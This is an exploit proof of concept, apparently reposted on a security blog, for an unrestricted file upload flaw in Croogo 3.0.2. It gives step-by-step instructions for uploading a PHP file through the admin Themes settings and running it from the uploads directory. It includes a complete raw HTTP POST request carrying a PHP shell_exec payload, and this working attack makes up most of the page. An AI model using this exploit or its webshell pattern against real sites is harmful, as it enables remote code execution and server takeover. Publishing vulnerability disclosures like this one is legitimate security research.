Croogo 3.0.2 – Unrestricted File Upload Exploit PoC

# Exploit Title: Croogo 3.0.2 - Unrestricted File Upload
# Exploit Author: Enes Özeser
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> 'setting-43' Unrestricted File Upload <==

1- Login with your privileged account.
2- Click on the 'Settings' section.
3- Go to the 'Themes'. Directory is '/admin/settings/settings/prefix/Theme'
4- Choose a malicious php script and upload it.
5- Go to the '/uploads/(NAME).php' directory. You must change 'NAME' parameter with your filename you uploaded.
6- The malicious PHP script will be executed.

POST /admin/settings/settings/prefix/Theme HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------360738881613175158033315978127
Content-Length: 970
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/settings/settings/prefix/Theme
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_method"

POST
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_csrfToken"

c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="setting-43"; filename="malicious.php"
Content-Type: application/octet-stream

<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>

-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_Token[fields]"

c4e0a45b25b5eaf8fa6e0e4ddcd3be00c621b803%3A
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_Token[unlocked]"


-----------------------------360738881613175158033315978127--

 868 total views,  2 views today

• About
• Latest Posts

Connect

RiSec.n0tst3

Hello! I'm Steve, an independent security researcher, consultant and analyst from Scotland, UK.

I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated...

I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK.

Connect

Latest posts by RiSec.n0tst3 (see all)

• OctoBot WebInterface – Remote Code Execution (RCE) – 0.4.3 - 21 July 2022
• Dangerous ‘Lightning Framework’ Linux malware installs rootkits, backdoors - 21 July 2022
• Atlassian Patches critical Confluence hardcoded credentials flaw - 21 July 2022